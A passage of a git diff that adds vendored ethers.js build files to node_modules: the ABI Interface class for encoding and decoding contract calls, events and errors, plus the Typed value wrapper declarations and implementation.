(typeof(fragment) === "string") { fragment = this.getEvent(eventFragment); } + return id(fragment.format()); + } + */ + _decodeParams(params, data) { + return this.#abiCoder.decode(params, data); + } + _encodeParams(params, values) { + return this.#abiCoder.encode(params, values); + } + /** + * Encodes a ``tx.data`` object for deploying the Contract with + * the %%values%% as the constructor arguments. + */ + encodeDeploy(values) { + return this._encodeParams(this.deploy.inputs, values || []); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified error (see [[getError]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeErrorResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match error ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + /** + * Encodes the transaction revert data for a call result that + * reverted from the the Contract with the sepcified %%error%% + * (see [[getError]] for valid values for %%fragment%%) with the %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeErrorResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getError(fragment); + assertArgument(f, "unknown error", "fragment", fragment); + fragment = f; + } + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the %%data%% from a transaction ``tx.data`` for + * the function specified (see [[getFunction]] for valid values + * for %%fragment%%). + * + * Most developers should prefer the [[parseTransaction]] method + * instead, which will automatically detect the fragment. + */ + decodeFunctionData(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + assertArgument(dataSlice(data, 0, 4) === fragment.selector, `data signature does not match function ${fragment.name}.`, "data", data); + return this._decodeParams(fragment.inputs, dataSlice(data, 4)); + } + /** + * Encodes the ``tx.data`` for a transaction that calls the function + * specified (see [[getFunction]] for valid values for %%fragment%%) with + * the %%values%%. + */ + encodeFunctionData(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return concat([ + fragment.selector, + this._encodeParams(fragment.inputs, values || []) + ]); + } + /** + * Decodes the result %%data%% (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values for + * %%key%%). + * + * Most developers should prefer the [[parseCallResult]] method instead, + * which will automatically detect a ``CALL_EXCEPTION`` and throw the + * corresponding error. + */ + decodeFunctionResult(fragment, data) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + let message = "invalid length for result data"; + const bytes = getBytesCopy(data); + if ((bytes.length % 32) === 0) { + try { + return this.#abiCoder.decode(fragment.outputs, bytes); + } + catch (error) { + message = "could not decode result data"; + } + } + // Call returned data with no error, but the data is junk + assert(false, message, "BAD_DATA", { + value: hexlify(bytes), + info: { method: fragment.name, signature: fragment.format() } + }); + } + makeError(_data, tx) { + const data = getBytes(_data, "data"); + const error = AbiCoder.getBuiltinCallException("call", tx, data); + // Not a built-in error; try finding a custom error + const customPrefix = "execution reverted (unknown custom error)"; + if (error.message.startsWith(customPrefix)) { + const selector = hexlify(data.slice(0, 4)); + const ef = this.getError(selector); + if (ef) { + try { + const args = this.#abiCoder.decode(ef.inputs, data.slice(4)); + error.revert = { + name: ef.name, signature: ef.format(), args + }; + error.reason = error.revert.signature; + error.message = `execution reverted: ${error.reason}`; + } + catch (e) { + error.message = `execution reverted (coult not decode custom error)`; + } + } + } + // Add the invocation, if available + const parsed = this.parseTransaction(tx); + if (parsed) { + error.invocation = { + method: parsed.name, + signature: parsed.signature, + args: parsed.args + }; + } + return error; + } + /** + * Encodes the result data (e.g. from an ``eth_call``) for the + * specified function (see [[getFunction]] for valid values + * for %%fragment%%) with %%values%%. + * + * This is generally not used by most developers, unless trying to mock + * a result from a Contract. + */ + encodeFunctionResult(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getFunction(fragment); + assertArgument(f, "unknown function", "fragment", fragment); + fragment = f; + } + return hexlify(this.#abiCoder.encode(fragment.outputs, values || [])); + } + /* + spelunk(inputs: Array, values: ReadonlyArray, processfunc: (type: string, value: any) => Promise): Promise> { + const promises: Array> = [ ]; + const process = function(type: ParamType, value: any): any { + if (type.baseType === "array") { + return descend(type.child + } + if (type. === "address") { + } + }; + + const descend = function (inputs: Array, values: ReadonlyArray) { + if (inputs.length !== values.length) { throw new Error("length mismatch"); } + + }; + + const result: Array = [ ]; + values.forEach((value, index) => { + if (value == null) { + topics.push(null); + } else if (param.baseType === "array" || param.baseType === "tuple") { + logger.throwArgumentError("filtering with tuples or arrays not supported", ("contract." + param.name), value); + } else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } else { + topics.push(encodeTopic(param, value)); + } + }); + } + */ + // Create the filter for the event with search criteria (e.g. for eth_filterLog) + encodeFilterTopics(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + assert(values.length <= fragment.inputs.length, `too many arguments for ${fragment.format()}`, "UNEXPECTED_ARGUMENT", { count: values.length, expectedCount: fragment.inputs.length }); + const topics = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + // @TODO: Use the coders for this; to properly support tuples, etc. + const encodeTopic = (param, value) => { + if (param.type === "string") { + return id(value); + } + else if (param.type === "bytes") { + return keccak256(hexlify(value)); + } + if (param.type === "bool" && typeof (value) === "boolean") { + value = (value ? "0x01" : "0x00"); + } + else if (param.type.match(/^u?int/)) { + value = toBeHex(value); // @TODO: Should this toTwos?? + } + else if (param.type.match(/^bytes/)) { + value = zeroPadBytes(value, 32); + } + else if (param.type === "address") { + // Check addresses are valid + this.#abiCoder.encode(["address"], [value]); + } + return zeroPadValue(hexlify(value), 32); + }; + values.forEach((value, index) => { + const param = fragment.inputs[index]; + if (!param.indexed) { + assertArgument(value == null, "cannot filter non-indexed parameters; must be null", ("contract." + param.name), value); + return; + } + if (value == null) { + topics.push(null); + } + else if (param.baseType === "array" || param.baseType === "tuple") { + assertArgument(false, "filtering with tuples or arrays not supported", ("contract." + param.name), value); + } + else if (Array.isArray(value)) { + topics.push(value.map((value) => encodeTopic(param, value))); + } + else { + topics.push(encodeTopic(param, value)); + } + }); + // Trim off trailing nulls + while (topics.length && topics[topics.length - 1] === null) { + topics.pop(); + } + return topics; + } + encodeEventLog(fragment, values) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + const topics = []; + const dataTypes = []; + const dataValues = []; + if (!fragment.anonymous) { + topics.push(fragment.topicHash); + } + assertArgument(values.length === fragment.inputs.length, "event arguments/values mismatch", "values", values); + fragment.inputs.forEach((param, index) => { + const value = values[index]; + if (param.indexed) { + if (param.type === "string") { + topics.push(id(value)); + } + else if (param.type === "bytes") { + topics.push(keccak256(value)); + } + else if (param.baseType === "tuple" || param.baseType === "array") { + // @TODO + throw new Error("not implemented"); + } + else { + topics.push(this.#abiCoder.encode([param.type], [value])); + } + } + else { + dataTypes.push(param); + dataValues.push(value); + } + }); + return { + data: this.#abiCoder.encode(dataTypes, dataValues), + topics: topics + }; + } + // Decode a filter for the event and the search criteria + decodeEventLog(fragment, data, topics) { + if (typeof (fragment) === "string") { + const f = this.getEvent(fragment); + assertArgument(f, "unknown event", "eventFragment", fragment); + fragment = f; + } + if (topics != null && !fragment.anonymous) { + const eventTopic = fragment.topicHash; + assertArgument(isHexString(topics[0], 32) && topics[0].toLowerCase() === eventTopic, "fragment/topic mismatch", "topics[0]", topics[0]); + topics = topics.slice(1); + } + const indexed = []; + const nonIndexed = []; + const dynamic = []; + fragment.inputs.forEach((param, index) => { + if (param.indexed) { + if (param.type === "string" || param.type === "bytes" || param.baseType === "tuple" || param.baseType === "array") { + indexed.push(ParamType.from({ type: "bytes32", name: param.name })); + dynamic.push(true); + } + else { + indexed.push(param); + dynamic.push(false); + } + } + else { + nonIndexed.push(param); + dynamic.push(false); + } + }); + const resultIndexed = (topics != null) ? this.#abiCoder.decode(indexed, concat(topics)) : null; + const resultNonIndexed = this.#abiCoder.decode(nonIndexed, data, true); + //const result: (Array & { [ key: string ]: any }) = [ ]; + const values = []; + const keys = []; + let nonIndexedIndex = 0, indexedIndex = 0; + fragment.inputs.forEach((param, index) => { + let value = null; + if (param.indexed) { + if (resultIndexed == null) { + value = new Indexed(null); + } + else if (dynamic[index]) { + value = new Indexed(resultIndexed[indexedIndex++]); + } + else { + try { + value = resultIndexed[indexedIndex++]; + } + catch (error) { + value = error; + } + } + } + else { + try { + value = resultNonIndexed[nonIndexedIndex++]; + } + catch (error) { + value = error; + } + } + values.push(value); + keys.push(param.name || null); + }); + return Result.fromItems(values, keys); + } + /** + * Parses a transaction, finding the matching function and extracts + * the parameter values along with other useful function details. + * + * If the matching function cannot be found, return null. + */ + parseTransaction(tx) { + const data = getBytes(tx.data, "tx.data"); + const value = getBigInt((tx.value != null) ? tx.value : 0, "tx.value"); + const fragment = this.getFunction(hexlify(data.slice(0, 4))); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, data.slice(4)); + return new TransactionDescription(fragment, fragment.selector, args, value); + } + parseCallResult(data) { + throw new Error("@TODO"); + } + /** + * Parses a receipt log, finding the matching event and extracts + * the parameter values along with other useful event details. + * + * If the matching event cannot be found, returns null. + */ + parseLog(log) { + const fragment = this.getEvent(log.topics[0]); + if (!fragment || fragment.anonymous) { + return null; + } + // @TODO: If anonymous, and the only method, and the input count matches, should we parse? + // Probably not, because just because it is the only event in the ABI does + // not mean we have the full ABI; maybe just a fragment? + return new LogDescription(fragment, fragment.topicHash, this.decodeEventLog(fragment, log.data, log.topics)); + } + /** + * Parses a revert data, finding the matching error and extracts + * the parameter values along with other useful error details. + * + * If the matching error cannot be found, returns null. + */ + parseError(data) { + const hexData = hexlify(data); + const fragment = this.getError(dataSlice(hexData, 0, 4)); + if (!fragment) { + return null; + } + const args = this.#abiCoder.decode(fragment.inputs, dataSlice(hexData, 4)); + return new ErrorDescription(fragment, fragment.selector, args); + } + /** + * Creates a new [[Interface]] from the ABI %%value%%. + * + * The %%value%% may be provided as an existing [[Interface]] object, + * a JSON-encoded ABI or any Human-Readable ABI format. + */ + static from(value) { + // Already an Interface, which is immutable + if (value instanceof Interface) { + return value; + } + // JSON + if (typeof (value) === "string") { + return new Interface(JSON.parse(value)); + } + // An Interface; possibly from another v6 instance + if (typeof (value.formatJson) === "function") { + return new Interface(value.formatJson()); + } + // A legacy Interface; from an older version + if (typeof (value.format) === "function") { + return new Interface(value.format("json")); + } + // Array of fragments + return new Interface(value); + } +} +//# sourceMappingURL=interface.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/interface.js.map b/node_modules/ethers/lib.esm/abi/interface.js.map new file mode 100644 index 000000000000..b91817008e49 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/interface.js.map @@ -0,0 +1 @@ +{"version":3,"file":"interface.js","sourceRoot":"","sources":["../../src.ts/abi/interface.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;GAUG;AAEH,OAAO,EAAE,SAAS,EAAE,MAAM,oBAAoB,CAAA;AAC9C,OAAO,EAAE,EAAE,EAAE,MAAM,kBAAkB,CAAA;AACrC,OAAO,EACH,MAAM,EAAE,SAAS,EAAE,SAAS,EAAE,QAAQ,EAAE,YAAY,EACpD,OAAO,EAAE,YAAY,EAAE,YAAY,EAAE,WAAW,EAAE,gBAAgB,EAClE,cAAc,EAAE,OAAO,EAAE,MAAM,EAClC,MAAM,mBAAmB,CAAC;AAE3B,OAAO,EAAE,QAAQ,EAAE,MAAM,gBAAgB,CAAC;AAC1C,OAAO,EAAE,iBAAiB,EAAE,MAAM,EAAE,MAAM,4BAA4B,CAAC;AACvE,OAAO,EACH,mBAAmB,EAAE,aAAa,EAAE,aAAa,EACjD,QAAQ,EAAE,gBAAgB,EAAE,SAAS,EACxC,MAAM,gBAAgB,CAAC;AACxB,OAAO,EAAE,KAAK,EAAE,MAAM,YAAY,CAAC;AAOnC,OAAO,EAAE,iBAAiB,EAAE,MAAM,EAAE,CAAC;AAErC;;;GAGG;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rB,OAAO,IAAI,SAAS,CAAC,KAAK,CAAC,CAAC;IAChC,CAAC;CACJ"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/typed.d.ts b/node_modules/ethers/lib.esm/abi/typed.d.ts new file mode 100644 index 000000000000..8707a62fd314 --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/typed.d.ts @@ -0,0 +1,570 @@ +/** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ +import type { Addressable } from "../address/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +import type { Result } from "./coders/abstract-coder.js"; +/** + * @_ignore: + */ +export interface TypedNumber extends Typed { + value: number; + defaultValue(): number; + minValue(): number; + maxValue(): number; +} +/** + * A **Typed** that represents a numeric value. + */ +export interface TypedBigInt extends Typed { + /** + * The value. + */ + value: bigint; + /** + * The default value for all numeric types is ``0``. + */ + defaultValue(): bigint; + /** + * The minimum value for this type, accounting for bit-width and signed-ness. + */ + minValue(): bigint; + /** + * The minimum value for this type, accounting for bit-width. + */ + maxValue(): bigint; +} +/** + * A **Typed** that represents a binary sequence of data as bytes. + */ +export interface TypedData extends Typed { + /** + * The value. + */ + value: string; + /** + * The default value for this type. + */ + defaultValue(): string; +} +/** + * A **Typed** that represents a UTF-8 sequence of bytes. + */ +export interface TypedString extends Typed { + /** + * The value. + */ + value: string; + /** + * The default value for the string type is the empty string (i.e. ``""``). + */ + defaultValue(): string; +} +/** + * The **Typed** class to wrap values providing explicit type information. + */ +export declare class Typed { + #private; + /** + * The type, as a Solidity-compatible type. + */ + readonly type: string; + /** + * The actual value. + */ + readonly value: any; + /** + * @_ignore: + */ + readonly _typedSymbol: Symbol; + /** + * @_ignore: + */ + constructor(gaurd: any, type: string, value: any, options?: any); + /** + * Format the type as a Human-Readable type. + */ + format(): string; + /** + * The default value returned by this type. + */ + defaultValue(): string | number | bigint | Result; + /** + * The minimum value for numeric types. + */ + minValue(): string | number | bigint; + /** + * The maximum value for numeric types. + */ + maxValue(): string | number | bigint; + /** + * Returns ``true`` and provides a type guard is this is a [[TypedBigInt]]. + */ + isBigInt(): this is TypedBigInt; + /** + * Returns ``true`` and provides a type guard is this is a [[TypedData]]. + */ + isData(): this is TypedData; + /** + * Returns ``true`` and provides a type guard is this is a [[TypedString]]. + */ + isString(): this is TypedString; + /** + * Returns the tuple name, if this is a tuple. Throws otherwise. + */ + get tupleName(): null | string; + /** + * Returns the length of the array type or ``-1`` if it is dynamic. + * + * Throws if the type is not an array. + */ + get arrayLength(): null | number; + /** + * Returns a new **Typed** of %%type%% with the %%value%%. + */ + static from(type: string, value: any): Typed; + /** + * Return a new ``uint8`` type for %%v%%. + */ + static uint8(v: BigNumberish): Typed; + /** + * Return a new ``uint16`` type for %%v%%. + */ + static uint16(v: BigNumberish): Typed; + /** + * Return a new ``uint24`` type for %%v%%. + */ + static uint24(v: BigNumberish): Typed; + /** + * Return a new ``uint32`` type for %%v%%. + */ + static uint32(v: BigNumberish): Typed; + /** + * Return a new ``uint40`` type for %%v%%. + */ + static uint40(v: BigNumberish): Typed; + /** + * Return a new ``uint48`` type for %%v%%. + */ + static uint48(v: BigNumberish): Typed; + /** + * Return a new ``uint56`` type for %%v%%. + */ + static uint56(v: BigNumberish): Typed; + /** + * Return a new ``uint64`` type for %%v%%. + */ + static uint64(v: BigNumberish): Typed; + /** + * Return a new ``uint72`` type for %%v%%. + */ + static uint72(v: BigNumberish): Typed; + /** + * Return a new ``uint80`` type for %%v%%. + */ + static uint80(v: BigNumberish): Typed; + /** + * Return a new ``uint88`` type for %%v%%. + */ + static uint88(v: BigNumberish): Typed; + /** + * Return a new ``uint96`` type for %%v%%. + */ + static uint96(v: BigNumberish): Typed; + /** + * Return a new ``uint104`` type for %%v%%. + */ + static uint104(v: BigNumberish): Typed; + /** + * Return a new ``uint112`` type for %%v%%. + */ + static uint112(v: BigNumberish): Typed; + /** + * Return a new ``uint120`` type for %%v%%. + */ + static uint120(v: BigNumberish): Typed; + /** + * Return a new ``uint128`` type for %%v%%. + */ + static uint128(v: BigNumberish): Typed; + /** + * Return a new ``uint136`` type for %%v%%. + */ + static uint136(v: BigNumberish): Typed; + /** + * Return a new ``uint144`` type for %%v%%. + */ + static uint144(v: BigNumberish): Typed; + /** + * Return a new ``uint152`` type for %%v%%. + */ + static uint152(v: BigNumberish): Typed; + /** + * Return a new ``uint160`` type for %%v%%. + */ + static uint160(v: BigNumberish): Typed; + /** + * Return a new ``uint168`` type for %%v%%. + */ + static uint168(v: BigNumberish): Typed; + /** + * Return a new ``uint176`` type for %%v%%. + */ + static uint176(v: BigNumberish): Typed; + /** + * Return a new ``uint184`` type for %%v%%. + */ + static uint184(v: BigNumberish): Typed; + /** + * Return a new ``uint192`` type for %%v%%. + */ + static uint192(v: BigNumberish): Typed; + /** + * Return a new ``uint200`` type for %%v%%. + */ + static uint200(v: BigNumberish): Typed; + /** + * Return a new ``uint208`` type for %%v%%. + */ + static uint208(v: BigNumberish): Typed; + /** + * Return a new ``uint216`` type for %%v%%. + */ + static uint216(v: BigNumberish): Typed; + /** + * Return a new ``uint224`` type for %%v%%. + */ + static uint224(v: BigNumberish): Typed; + /** + * Return a new ``uint232`` type for %%v%%. + */ + static uint232(v: BigNumberish): Typed; + /** + * Return a new ``uint240`` type for %%v%%. + */ + static uint240(v: BigNumberish): Typed; + /** + * Return a new ``uint248`` type for %%v%%. + */ + static uint248(v: BigNumberish): Typed; + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint256(v: BigNumberish): Typed; + /** + * Return a new ``uint256`` type for %%v%%. + */ + static uint(v: BigNumberish): Typed; + /** + * Return a new ``int8`` type for %%v%%. + */ + static int8(v: BigNumberish): Typed; + /** + * Return a new ``int16`` type for %%v%%. + */ + static int16(v: BigNumberish): Typed; + /** + * Return a new ``int24`` type for %%v%%. + */ + static int24(v: BigNumberish): Typed; + /** + * Return a new ``int32`` type for %%v%%. + */ + static int32(v: BigNumberish): Typed; + /** + * Return a new ``int40`` type for %%v%%. + */ + static int40(v: BigNumberish): Typed; + /** + * Return a new ``int48`` type for %%v%%. + */ + static int48(v: BigNumberish): Typed; + /** + * Return a new ``int56`` type for %%v%%. + */ + static int56(v: BigNumberish): Typed; + /** + * Return a new ``int64`` type for %%v%%. + */ + static int64(v: BigNumberish): Typed; + /** + * Return a new ``int72`` type for %%v%%. + */ + static int72(v: BigNumberish): Typed; + /** + * Return a new ``int80`` type for %%v%%. + */ + static int80(v: BigNumberish): Typed; + /** + * Return a new ``int88`` type for %%v%%. + */ + static int88(v: BigNumberish): Typed; + /** + * Return a new ``int96`` type for %%v%%. + */ + static int96(v: BigNumberish): Typed; + /** + * Return a new ``int104`` type for %%v%%. + */ + static int104(v: BigNumberish): Typed; + /** + * Return a new ``int112`` type for %%v%%. + */ + static int112(v: BigNumberish): Typed; + /** + * Return a new ``int120`` type for %%v%%. + */ + static int120(v: BigNumberish): Typed; + /** + * Return a new ``int128`` type for %%v%%. + */ + static int128(v: BigNumberish): Typed; + /** + * Return a new ``int136`` type for %%v%%. + */ + static int136(v: BigNumberish): Typed; + /** + * Return a new ``int144`` type for %%v%%. + */ + static int144(v: BigNumberish): Typed; + /** + * Return a new ``int52`` type for %%v%%. + */ + static int152(v: BigNumberish): Typed; + /** + * Return a new ``int160`` type for %%v%%. + */ + static int160(v: BigNumberish): Typed; + /** + * Return a new ``int168`` type for %%v%%. + */ + static int168(v: BigNumberish): Typed; + /** + * Return a new ``int176`` type for %%v%%. + */ + static int176(v: BigNumberish): Typed; + /** + * Return a new ``int184`` type for %%v%%. + */ + static int184(v: BigNumberish): Typed; + /** + * Return a new ``int92`` type for %%v%%. + */ + static int192(v: BigNumberish): Typed; + /** + * Return a new ``int200`` type for %%v%%. + */ + static int200(v: BigNumberish): Typed; + /** + * Return a new ``int208`` type for %%v%%. + */ + static int208(v: BigNumberish): Typed; + /** + * Return a new ``int216`` type for %%v%%. + */ + static int216(v: BigNumberish): Typed; + /** + * Return a new ``int224`` type for %%v%%. + */ + static int224(v: BigNumberish): Typed; + /** + * Return a new ``int232`` type for %%v%%. + */ + static int232(v: BigNumberish): Typed; + /** + * Return a new ``int240`` type for %%v%%. + */ + static int240(v: BigNumberish): Typed; + /** + * Return a new ``int248`` type for %%v%%. + */ + static int248(v: BigNumberish): Typed; + /** + * Return a new ``int256`` type for %%v%%. + */ + static int256(v: BigNumberish): Typed; + /** + * Return a new ``int256`` type for %%v%%. + */ + static int(v: BigNumberish): Typed; + /** + * Return a new ``bytes1`` type for %%v%%. + */ + static bytes1(v: BytesLike): Typed; + /** + * Return a new ``bytes2`` type for %%v%%. + */ + static bytes2(v: BytesLike): Typed; + /** + * Return a new ``bytes3`` type for %%v%%. + */ + static bytes3(v: BytesLike): Typed; + /** + * Return a new ``bytes4`` type for %%v%%. + */ + static bytes4(v: BytesLike): Typed; + /** + * Return a new ``bytes5`` type for %%v%%. + */ + static bytes5(v: BytesLike): Typed; + /** + * Return a new ``bytes6`` type for %%v%%. + */ + static bytes6(v: BytesLike): Typed; + /** + * Return a new ``bytes7`` type for %%v%%. + */ + static bytes7(v: BytesLike): Typed; + /** + * Return a new ``bytes8`` type for %%v%%. + */ + static bytes8(v: BytesLike): Typed; + /** + * Return a new ``bytes9`` type for %%v%%. + */ + static bytes9(v: BytesLike): Typed; + /** + * Return a new ``bytes10`` type for %%v%%. + */ + static bytes10(v: BytesLike): Typed; + /** + * Return a new ``bytes11`` type for %%v%%. + */ + static bytes11(v: BytesLike): Typed; + /** + * Return a new ``bytes12`` type for %%v%%. + */ + static bytes12(v: BytesLike): Typed; + /** + * Return a new ``bytes13`` type for %%v%%. + */ + static bytes13(v: BytesLike): Typed; + /** + * Return a new ``bytes14`` type for %%v%%. + */ + static bytes14(v: BytesLike): Typed; + /** + * Return a new ``bytes15`` type for %%v%%. + */ + static bytes15(v: BytesLike): Typed; + /** + * Return a new ``bytes16`` type for %%v%%. + */ + static bytes16(v: BytesLike): Typed; + /** + * Return a new ``bytes17`` type for %%v%%. + */ + static bytes17(v: BytesLike): Typed; + /** + * Return a new ``bytes18`` type for %%v%%. + */ + static bytes18(v: BytesLike): Typed; + /** + * Return a new ``bytes19`` type for %%v%%. + */ + static bytes19(v: BytesLike): Typed; + /** + * Return a new ``bytes20`` type for %%v%%. + */ + static bytes20(v: BytesLike): Typed; + /** + * Return a new ``bytes21`` type for %%v%%. + */ + static bytes21(v: BytesLike): Typed; + /** + * Return a new ``bytes22`` type for %%v%%. + */ + static bytes22(v: BytesLike): Typed; + /** + * Return a new ``bytes23`` type for %%v%%. + */ + static bytes23(v: BytesLike): Typed; + /** + * Return a new ``bytes24`` type for %%v%%. + */ + static bytes24(v: BytesLike): Typed; + /** + * Return a new ``bytes25`` type for %%v%%. + */ + static bytes25(v: BytesLike): Typed; + /** + * Return a new ``bytes26`` type for %%v%%. + */ + static bytes26(v: BytesLike): Typed; + /** + * Return a new ``bytes27`` type for %%v%%. + */ + static bytes27(v: BytesLike): Typed; + /** + * Return a new ``bytes28`` type for %%v%%. + */ + static bytes28(v: BytesLike): Typed; + /** + * Return a new ``bytes29`` type for %%v%%. + */ + static bytes29(v: BytesLike): Typed; + /** + * Return a new ``bytes30`` type for %%v%%. + */ + static bytes30(v: BytesLike): Typed; + /** + * Return a new ``bytes31`` type for %%v%%. + */ + static bytes31(v: BytesLike): Typed; + /** + * Return a new ``bytes32`` type for %%v%%. + */ + static bytes32(v: BytesLike): Typed; + /** + * Return a new ``address`` type for %%v%%. + */ + static address(v: string | Addressable): Typed; + /** + * Return a new ``bool`` type for %%v%%. + */ + static bool(v: any): Typed; + /** + * Return a new ``bytes`` type for %%v%%. + */ + static bytes(v: BytesLike): Typed; + /** + * Return a new ``string`` type for %%v%%. + */ + static string(v: string): Typed; + /** + * Return a new ``array`` type for %%v%%, allowing %%dynamic%% length. + */ + static array(v: Array, dynamic?: null | boolean): Typed; + /** + * Return a new ``tuple`` type for %%v%%, with the optional %%name%%. + */ + static tuple(v: Array | Record, name?: string): Typed; + /** + * Return a new ``uint8`` type for %%v%%. + */ + static overrides(v: Record): Typed; + /** + * Returns true only if %%value%% is a [[Typed]] instance. + */ + static isTyped(value: any): value is Typed; + /** + * If the value is a [[Typed]] instance, validates the underlying value + * and returns it, otherwise returns value directly. + * + * This is useful for functions that with to accept either a [[Typed]] + * object or values. + */ + static dereference(value: Typed | T, type: string): T; +} +//# sourceMappingURL=typed.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/typed.d.ts.map b/node_modules/ethers/lib.esm/abi/typed.d.ts.map new file mode 100644 index 000000000000..d7d2b42a08ec --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/typed.d.ts.map @@ -0,0 +1 @@ +{"version":3,"file":"typed.d.ts","sourceRoot":"","sources":["../../src.ts/abi/typed.ts"],"names":[],"mappings":"AAAA;;;;;;;;;;;;;GAaG;AAIH,OAAO,KAAK,EAAE,WAAW,EAAE,MAAM,qBAAqB,CAAC;AACvD,OAAO,KAAK,EAAE,YAAY,EAAE,SAAS,EAAE,MAAM,mBAAmB,CAAC;AAEjE,OAAO,KAAK,EAAE,MAAM,EAAE,MAAM,4BAA4B,CAAC;AAqBzD;;GAEG;AACH,MAAM,WAAW,WAAY,SAAQ,KAAK;IACtC,KAAK,EAAE,MAAM,CAAC;IACd,YAAY,IAAI,MAAM,CAAC;IACvB,QAAQ,IAAI,MAAM,CAAC;IACnB,QAAQ,IAAI,MAAM,CAAC;CACtB;AAED;;GAEG;AACH,MAAM,WAAW,WAAY,SAAQ,KAAK;IACtC;;OAEG;IACH,KAAK,EAAE,MAAM,CAAC;IAEd;;OAEG;IACH,YAAY,IAAI,MAAM,CAAC;IAEvB;;OAEG;IACH,QAAQ,IAAI,MAAM,CAAC;IAEnB;;OAEG;IACH,QAAQ,IAAI,MAAM,CAAC;CACtB;AAED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EAAE,MAAM,GAAG,KAAK;IAG/B;;OAEG;IACH,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC,GAAG,GAAG,KAAK,CAAC,EAAE,OAAO,CAAC,EAAE,IAAI,GAAG,OAAO,GAAG,KAAK;IAMpE;;OAEG;IACH,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,KAAK,CAAC,GAAG,GAAG,KAAK,CAAC,GAAG,MAAM,CAAC,MAAM,EAAE,GAAG,GAAG,KAAK,CAAC,EAAE,IAAI,CAAC,EAAE,MAAM,GAAG,KAAK;IAMvF;;OAEG;IACH,MAAM,CAAC,SAAS,CAAC,CAAC,EAAE,MAAM,CAAC,MAAM,EAAE,GAAG,CAAC,GAAG,KAAK;IAI/C;;OAEG;IACH,MAAM,CAAC,OAAO,CAAC,KAAK,EAAE,GAAG,GAAG,KAAK,IAAI,KAAK;IAO1C;;;;;;OAMG;IACH,MAAM,CAAC,WAAW,CAAC,CAAC,EAAE,KAAK,EAAE,KAAK,GAAG,CAAC,EAAE,IAAI,EAAE,MAAM,GAAG,CAAC;CAS3D"} \ No newline at end of file diff --git a/node_modules/ethers/lib.esm/abi/typed.js b/node_modules/ethers/lib.esm/abi/typed.js new file mode 100644 index 000000000000..8089efbe9ddf --- /dev/null +++ b/node_modules/ethers/lib.esm/abi/typed.js @@ -0,0 +1,602 @@ +/** + * A Typed object allows a value to have its type explicitly + * specified. + * + * For example, in Solidity, the value ``45`` could represent a + * ``uint8`` or a ``uint256``. The value ``0x1234`` could represent + * a ``bytes2`` or ``bytes``. + * + * Since JavaScript has no meaningful way to explicitly inform any + * APIs which what the type is, this allows transparent interoperation + * with Soldity. + * + * @_subsection: api/abi:Typed Values + */ +import { assertPrivate, defineProperties } from "../utils/index.js"; +const _gaurd = {}; +function n(value, width) { + let signed = false; + if (width < 0) { + signed = true; + width *= -1; + } + // @TODO: Check range is valid for value + return new Typed(_gaurd, `${signed ? "" : "u"}int${width}`, value, { signed, width }); +} +function b(value, size) { + // @TODO: Check range is valid for value + return new Typed(_gaurd, `bytes${(size) ? size : ""}`, value, { size }); +} +const _typedSymbol = Symbol.for("_ethers_typed"); +/** + * The **Typed** class to wrap values providing explicit type information. + */ +export class Typed { + /** + * The type, as a Solidity-compatible type. + */ + type; + /** + * The actual value. + */ + value; + #options; + /** + * @_ignore: + */ + _typedSymbol; + /** + * @_ignore: + */ + constructor(gaurd, type, value, options) { + if (options == null) { + options = null; + } + assertPrivate(_gaurd, gaurd, "Typed"); + defineProperties(this, { _typedSymbol, type, value }); + this.#options = options; + // Check the value is valid + this.format(); + } + /** + * Format the type as a Human-Readable type. + */ + format() { + if (this.type === "array") { + throw new Error(""); + } + else if (this.type === "dynamicArray") { + throw new Error(""); + } + else if (this.type === "tuple") { + return `tuple(${this.value.map((v) => v.format()).join(",")})`; + } + return this.type; + } + /** + * The default value returned by this type. + */ + defaultValue() { + return 0; + } + /** + * The minimum value for numeric types. + */ + minValue() { + return 0; + } + /** + * The maximum value for numeric types. + */ + maxValue() { + return 0; + } + /** + 